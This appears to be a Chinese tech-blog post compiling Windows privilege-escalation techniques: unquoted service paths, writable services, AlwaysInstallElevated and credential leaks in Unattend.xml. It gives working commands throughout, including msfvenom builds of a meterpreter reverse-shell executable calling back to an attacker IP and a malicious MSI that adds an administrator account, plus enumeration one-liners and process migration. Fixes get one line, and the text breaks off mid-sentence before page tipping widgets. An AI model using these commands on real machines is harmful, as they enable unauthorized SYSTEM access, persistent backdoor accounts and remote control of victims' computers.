Windows提权方法大全汇总(值的收藏)

本文详细介绍了利用无引号服务路径、易受攻击的服务、AlwaysInstallElevated注册表设置、信息泄露、委派攻击及POTATO家族技巧等,展示了Windows系统中潜在的提权方法,以及防治措施和实战操作。

在这里插入图片描述

一、无引号服务路径 ( Trusted Service Paths )

先说实用度,比较被动,而且比较看脸。

Windows下服务的权限通常是SYSTEM。如果我们能够替换服务的启动程序为我们的恶意程序(如反弹shell),即相当于获得了SYSTEM权限,达到了提权的目的。
无引号服务路径有可能会导致这种情况的发生。
所谓无引号服务路径,就是服务启动程序的路径中包含了空格且未被引号包含起来。比如这样

C:\Program Files\floder1\service.exe

因为空格的存在,Windows在启动服务找寻服务启动项时,它会按照以下顺序进行启动项寻找

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

这就给了我们有机可乘的机会:如果我们在服务的上层目录有写入或完全控制权限,我们完全可以将一个可执行文件放在Windows搜寻服务启动项的更靠前顺序上。
在这里插入图片描述
我们用以下命令来搜索哪些服务路径没有包含引号

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

在这里插入图片描述
然后使用icacls命令查看在2345Explorer目录的权限如何
在这里插入图片描述
users组是完全控制权(F),那么我们直接用msfvenom构造一个反弹shell的exe。命名为Protect.exe,放入2345Explorer目录。我这里随便编码了一下

msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 
LPORT=10068 -f exe -o Protect.exe
msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 
LPORT=10068 -f exe -o Protect.exe

在这里插入图片描述
然后我们现在是没有能力重启服务的。。只能等管理员重启服务或者机子重启。然后就拿到SYSTEM权限了。但是这里还有一个坑点,这个坑点是如果一个服务启动后在一定时间内未与 Service Control Manager(SCM) 通讯,就会被停止。
在这里插入图片描述
所以我们要在拿到shell后及时的转移进程或者添加管理员账户。
转移进程在msf中很简单,meterpreter中先用ps查看进程,随便找一个system权限,记住其pid,然后 migrate PID 即可完成进程迁移。

下面来说说防治方法吧。进入注册表修改窗口,在 HKEY_LOCAL_MACHINE >> SYSTEM >> CurrentControlSet >> Services 路径下找到存在漏洞的服务,修改其ImagePath,把路径前后加个引号就可了。

二、易受攻击的服务(Vulnerable Services )

同样看脸且被动

这个攻击方法大致分两类

1.替换服务的二进制文件。这个方法较为简单,如果对服务二进制文件所在目录有修改权,那么我们完全可以创建一个恶意程序来替换原有的二进制文件服务。这个比较简单,而且基本上攻击流程和Trusted Service Paths如出一辙,同样也是比较被动地等待重启服务才能弹shell,就不再演示了。

2.修改服务的属性。如果我们能修改服务的 BINARY_PATH_NAME 属性(这个属性用于指向服务的二进制文件),我们就可以通过设置 BINARY_PATH_NAME 的值为系统命令,然后重启服务时我们的系统命令会被执行。

对于后者,我们需要一款工具来快速揭示出我们能修改哪些服务的属性。
这个工具我们采用accesschk.exe,它是微软产出的,基本不会报毒。

我们通过该工具执行以下命令

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
or
accesschk.exe -uwcqv "Users" * /accepteula
来查看Users组(根据实际情况来填哪个组)对哪些服务有哪些权限

如果对某个服务有service_all_access或者以下权限,就说明能对其属性进行修改。
在这里插入图片描述
比如我们对Spooler服务有service_all_access权限,我们就可以这样做。

通过修改其binPath为恶意指令,然后等待管理员重启服务,我们的恶意指令就会被执行。

在这里插入图片描述

三、AlwaysInstallElevated

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001 

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001

那么所有msi(windows应用安装程序)都会以SYSTEM权限运行。此时如果我们执行一个恶意msi程序,即可达到提权目的

同时需要注意的一点是,这个注册表项不一定总是存在的。(比如我的实验机

我们可以通过reg query来验证这两条注册表项的情况

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

若均为1,我们就可以通过msfvenom生成恶意msi来提权

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi

然后执行,获得一个管理员账户。

四、信息泄露

Unattend.xml sysprep.xml和sysprep.inf文件GPP.xml 存在着一定信息泄露,他们通常存在于以下路径

C:\Windows\Panther\
C:\Windows\Panther\Unattend\
C:\Windows\System32\
C:\Windows\System32\sysprep\

找到后,找到 Unattend.xml 文件中的标签。就有可能找到用户的加密后的密码。。

<UserAccounts>
    <LocalAccounts>
        <LocalAccount>
            <Password>
                <Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value> //PASSWORD
                <PlainText>false</PlainText>
            </Password>
            <Description>Local Administrator</Description>
            <DisplayName>Administrator</DisplayName>
            <Group>Administrators</Group>
            <Name>Administrator</Name>
        </LocalAccount>
    </LocalAccounts>
</UserAccounts>
一些敏感文件查询指
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

AI小模型

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值